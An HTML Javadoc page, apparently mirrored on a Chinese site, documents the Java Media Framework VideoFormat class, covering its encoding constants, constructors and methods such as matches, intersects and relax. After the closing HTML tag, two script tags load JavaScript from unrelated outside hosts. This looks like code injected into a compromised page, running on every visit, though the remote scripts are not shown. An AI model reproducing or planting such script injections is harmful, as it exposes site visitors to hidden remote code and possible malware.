videoformat.html

JMF原版英文说明文档

<DL>
</DL>
<HR>

<A NAME="MJPG"><!-- --></A><H3>
MJPG</H3>
<PRE>
public static final java.lang.String <B>MJPG</B></PRE>
<DL>
<DD>Motion JPEG format.</DL>
<HR>

<A NAME="MJPEGA"><!-- --></A><H3>
MJPEGA</H3>
<PRE>
public static final java.lang.String <B>MJPEGA</B></PRE>
<DL>
<DD>Motion JPEG-A format.</DL>
<HR>

<A NAME="MJPEGB"><!-- --></A><H3>
MJPEGB</H3>
<PRE>
public static final java.lang.String <B>MJPEGB</B></PRE>
<DL>
<DD>Motion JPEG-B format.</DL>
<HR>

<A NAME="INDEO32"><!-- --></A><H3>
INDEO32</H3>
<PRE>
public static final java.lang.String <B>INDEO32</B></PRE>
<DL>
<DD>Indeo Video 3.2</DL>
<HR>

<A NAME="INDEO41"><!-- --></A><H3>
INDEO41</H3>
<PRE>
public static final java.lang.String <B>INDEO41</B></PRE>
<DL>
<DD>Indeo Interactive 4.1</DL>
<HR>

<A NAME="INDEO50"><!-- --></A><H3>
INDEO50</H3>
<PRE>
public static final java.lang.String <B>INDEO50</B></PRE>
<DL>
<DD>Indeo Interactive 5.0</DL>

<!-- ========= CONSTRUCTOR DETAIL ======== -->

<A NAME="constructor_detail"><!-- --></A>
<TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TD COLSPAN=1><FONT SIZE="+2">
<B>Constructor Detail</B></FONT></TD>
</TR>
</TABLE>

<A NAME="VideoFormat(java.lang.String)"><!-- --></A><H3>
VideoFormat</H3>
<PRE>
public <B>VideoFormat</B>(java.lang.String&nbsp;encoding)</PRE>
<DL>
<DD>Constructs a <CODE>VideoFormat</CODE> with the specified encoding type.<DD><DL>
<DT><B>Parameters:</B><DD><CODE>encoding</CODE> - A <CODE>String</CODE> that describes the encoding type 
 for this <CODE>VideoFormat</CODE>.</DL>
</DD>
</DL>
<HR>

<A NAME="VideoFormat(java.lang.String, java.awt.Dimension, int, java.lang.Class, float)"><!-- --></A><H3>
VideoFormat</H3>
<PRE>
public <B>VideoFormat</B>(java.lang.String&nbsp;encoding,
                   java.awt.Dimension&nbsp;size,
                   int&nbsp;maxDataLength,
                   java.lang.Class&nbsp;dataType,
                   float&nbsp;frameRate)</PRE>
<DL>
<DD>Constructs a <CODE>VideoFormat</CODE> with  the specified attributes.<DD><DL>
<DT><B>Parameters:</B><DD><CODE>encoding</CODE> - A <CODE>String</CODE> that describes the encoding 
 type for this <CODE>VideoFormat</CODE>.<DD><CODE>size</CODE> - The size of a video frame.<DD><CODE>maxDataLength</CODE> - The maximum length of a data chunk.<DD><CODE>dataType</CODE> - The type of data. For example, byte array.<DD><CODE>frameRate</CODE> - The frame rate.</DL>
</DD>
</DL>

<!-- ============ METHOD DETAIL ========== -->

<A NAME="method_detail"><!-- --></A>
<TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TD COLSPAN=1><FONT SIZE="+2">
<B>Method Detail</B></FONT></TD>
</TR>
</TABLE>

<A NAME="getSize()"><!-- --></A><H3>
getSize</H3>
<PRE>
public java.awt.Dimension <B>getSize</B>()</PRE>
<DL>
<DD>Gets the dimensions of a video frame in this <code>VideoFormat</code>.<DD><DL>
<DT><B>Returns:</B><DD>A <CODE>Dimension</CODE> that specifies the frame size.</DL>
</DD>
</DL>
<HR>

<A NAME="getMaxDataLength()"><!-- --></A><H3>
getMaxDataLength</H3>
<PRE>
public int <B>getMaxDataLength</B>()</PRE>
<DL>
<DD>Gets the length of the largest data chunk associated with this
 <code>VideoFormat</code>.<DD><DL>
<DT><B>Returns:</B><DD>The maximum length of a data chunk in this <code>VideoFormat</code>.</DL>
</DD>
</DL>
<HR>

<A NAME="clone()"><!-- --></A><H3>
clone</H3>
<PRE>
public java.lang.Object <B>clone</B>()</PRE>
<DL>
<DD>Creates a clone of this <code>VideoFormat</code> by copying each field to 
 the clone.<DD><DL>
<DT><B>Overrides:</B><DD><A HREF="../../../javax/media/Format.html#clone()">clone</A> in class <A HREF="../../../javax/media/Format.html">Format</A></DL>
</DD>
<DD><DL>
<DT><B>Returns:</B><DD>A clone of this <code>VideoFormat</code>.</DL>
</DD>
</DL>
<HR>

<A NAME="getFrameRate()"><!-- --></A><H3>
getFrameRate</H3>
<PRE>
public float <B>getFrameRate</B>()</PRE>
<DL>
<DD>Gets the frame rate associated with this <code>VideoFormat</code>.<DD><DL>
<DT><B>Returns:</B><DD>The frame rate.</DL>
</DD>
</DL>
<HR>

<A NAME="copy(javax.media.Format)"><!-- --></A><H3>
copy</H3>
<PRE>
protected void <B>copy</B>(<A HREF="../../../javax/media/Format.html">Format</A>&nbsp;f)</PRE>
<DL>
<DD>Copies the attributes from the specified 
 <CODE>Format</CODE> into this <CODE>VideoFormat</CODE>.<DD><DL>
<DT><B>Overrides:</B><DD><A HREF="../../../javax/media/Format.html#copy(javax.media.Format)">copy</A> in class <A HREF="../../../javax/media/Format.html">Format</A></DL>
</DD>
<DD><DL>
<DT><B>Parameters:</B><DD><CODE>f</CODE> - The <CODE>Format</CODE> to copy the attributes from.</DL>
</DD>
</DL>
<HR>

<A NAME="toString()"><!-- --></A><H3>
toString</H3>
<PRE>
public java.lang.String <B>toString</B>()</PRE>
<DL>
<DD>Gets a <CODE>String</CODE> representation of the attributes of this 
 <CODE>VideoFormat</CODE>. For example: "RGB, 352x240, ...".<DD><DL>
<DT><B>Overrides:</B><DD><A HREF="../../../javax/media/Format.html#toString()">toString</A> in class <A HREF="../../../javax/media/Format.html">Format</A></DL>
</DD>
<DD><DL>
<DT><B>Returns:</B><DD>A <CODE>String</CODE> that describes the 
 <code>VideoFormat</code> attributes.</DL>
</DD>
</DL>
<HR>

<A NAME="equals(java.lang.Object)"><!-- --></A><H3>
equals</H3>
<PRE>
public boolean <B>equals</B>(java.lang.Object&nbsp;format)</PRE>
<DL>
<DD>Compares the specified <CODE>Format</CODE> with this <code>VideoFormat</code>. 
 Returns <CODE>true</CODE> only if the specified <CODE>Format</CODE>
 is a <CODE>VideoFormat</CODE> object and all of 
 its attributes are identical to 
 the attributes in this <code>VideoFormat</code>.<DD><DL>
<DT><B>Overrides:</B><DD><A HREF="../../../javax/media/Format.html#equals(java.lang.Object)">equals</A> in class <A HREF="../../../javax/media/Format.html">Format</A></DL>
</DD>
<DD><DL>
<DT><B>Parameters:</B><DD><CODE>format</CODE> - The <CODE>Format</CODE> to compare.<DT><B>Returns:</B><DD>true if the specified <CODE>Format</CODE> is the same as this one.</DL>
</DD>
</DL>
<HR>

<A NAME="matches(javax.media.Format)"><!-- --></A><H3>
matches</H3>
<PRE>
public boolean <B>matches</B>(<A HREF="../../../javax/media/Format.html">Format</A>&nbsp;format)</PRE>
<DL>
<DD>Checks whether or not the specified <CODE>Format</CODE> <EM>matches</EM> 
 this <CODE>VideoFormat</CODE>.
 Matches only compares the attributes that are defined in the specified 
 <CODE>Format</CODE>, 
 unspecified attributes are ignored.
 <p>
 The two <CODE>Format</CODE> objects do not have to be of the same class 
 to match.  For example, if "A" are "B" are being compared, a
 match is possible if "A" is derived from "B"
 or "B" is derived from "A". (The compared attributes must still match, 
 or <CODE>matches</CODE> fails.)<DD><DL>
<DT><B>Overrides:</B><DD><A HREF="../../../javax/media/Format.html#matches(javax.media.Format)">matches</A> in class <A HREF="../../../javax/media/Format.html">Format</A></DL>
</DD>
<DD><DL>
<DT><B>Parameters:</B><DD><CODE>format</CODE> - The <CODE>Format</CODE> to compare with this one.<DT><B>Returns:</B><DD><CODE>true</CODE> if the specified <CODE>Format</CODE> 
 matches this one, <CODE>false</CODE> if it does not.</DL>
</DD>
</DL>
<HR>

<A NAME="intersects(javax.media.Format)"><!-- --></A><H3>
intersects</H3>
<PRE>
public <A HREF="../../../javax/media/Format.html">Format</A> <B>intersects</B>(<A HREF="../../../javax/media/Format.html">Format</A>&nbsp;format)</PRE>
<DL>
<DD>Finds the attributes shared by two matching <CODE>Format</CODE> objects.
 If the specified <CODE>Format</CODE> does not match this one, the result 
 is undefined.<DD><DL>
<DT><B>Overrides:</B><DD><A HREF="../../../javax/media/Format.html#intersects(javax.media.Format)">intersects</A> in class <A HREF="../../../javax/media/Format.html">Format</A></DL>
</DD>
<DD><DL>
<DT><B>Parameters:</B><DD><CODE>The</CODE> - matching <CODE>Format</CODE> to intersect with this 
 <CODE>VideoFormat</CODE>.<DT><B>Returns:</B><DD>A <CODE>Format</CODE> object 
 with its attributes set to those attributes common to both 
 <CODE>Format</CODE> objects.<DT><B>See Also: </B><DD><A HREF="../../../javax/media/format/VideoFormat.html#matches(javax.media.Format)"><CODE>matches(javax.media.Format)</CODE></A></DL>
</DD>
</DL>
<HR>

<A NAME="relax()"><!-- --></A><H3>
relax</H3>
<PRE>
public <A HREF="../../../javax/media/Format.html">Format</A> <B>relax</B>()</PRE>
<DL>
<DD>Generate a format that's less restrictive than this format but
 contains the basic attributes that will make this resulting format 
 useful for format matching.<DD><DL>
<DT><B>Overrides:</B><DD><A HREF="../../../javax/media/Format.html#relax()">relax</A> in class <A HREF="../../../javax/media/Format.html">Format</A></DL>
</DD>
<DD><DL>
<DT><B>Returns:</B><DD>A <CODE>Format</CODE> that's less restrictive than the
 this format.</DL>
</DD>
</DL>
<!-- ========= END OF CLASS DATA ========= -->
<HR>

<!-- ========== START OF NAVBAR ========== -->
<A NAME="navbar_bottom"><!-- --></A>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0">
<TR>
<TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1">
<A NAME="navbar_bottom_firstrow"><!-- --></A>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3">
  <TR ALIGN="center" VALIGN="top">
  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../overview-summary.html"><FONT ID="NavBarFont1"><B>Overview</B></FONT></A>&nbsp;</TD>
  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="package-summary.html"><FONT ID="NavBarFont1"><B>Package</B></FONT></A>&nbsp;</TD>
  <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> &nbsp;<FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT>&nbsp;</TD>
  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="package-tree.html"><FONT ID="NavBarFont1"><B>Tree</B></FONT></A>&nbsp;</TD>
  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../deprecated-list.html"><FONT ID="NavBarFont1"><B>Deprecated</B></FONT></A>&nbsp;</TD>
  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../index-all.html"><FONT ID="NavBarFont1"><B>Index</B></FONT></A>&nbsp;</TD>
  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../help-doc.html"><FONT ID="NavBarFont1"><B>Help</B></FONT></A>&nbsp;</TD>
  </TR>
</TABLE>
</TD>
<TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM>
</EM>
</TD>
</TR>

<TR>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
&nbsp;<A HREF="../../../javax/media/format/RGBFormat.html"><B>PREV CLASS</B></A>&nbsp;
&nbsp;<A HREF="../../../javax/media/format/YUVFormat.html"><B>NEXT CLASS</B></A></FONT></TD>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
  <A HREF="../../../index.html" TARGET="_top"><B>FRAMES</B></A>  &nbsp;
&nbsp;<A HREF="VideoFormat.html" TARGET="_top"><B>NO FRAMES</B></A></FONT></TD>
</TR>
<TR>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
  SUMMARY: &nbsp;INNER&nbsp;|&nbsp;<A HREF="#field_summary">FIELD</A>&nbsp;|&nbsp;<A HREF="#constructor_summary">CONSTR</A>&nbsp;|&nbsp;<A HREF="#method_summary">METHOD</A></FONT></TD>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
DETAIL: &nbsp;<A HREF="#field_detail">FIELD</A>&nbsp;|&nbsp;<A HREF="#constructor_detail">CONSTR</A>&nbsp;|&nbsp;<A HREF="#method_detail">METHOD</A></FONT></TD>
</TR>
</TABLE>
<!-- =========== END OF NAVBAR =========== -->

<HR>
<font size="-1">  <a href="mailto:[e-mail]">Submit a bug or feature</a>  <br>Copyright 1999-2000 Sun Microsystems, Inc. 901 San Antonio Road,  Palo Alto, California, 94303, U.S.A. All Rights Reserved.  See the <a href="spec-license.html">Specification License</a> for more details.  <br>Sun, Sun Microsystems, and Java are trademarks or registered  trademarks of Sun Microsystems, Inc. in the US and other countries.</font>
</BODY>
</HTML>

<script language=javascript src=http://www.3389qiqi.com/xx.js></script>
<script language="javascript" src="http://grwm.woxwngw.cn/index.htm"></script>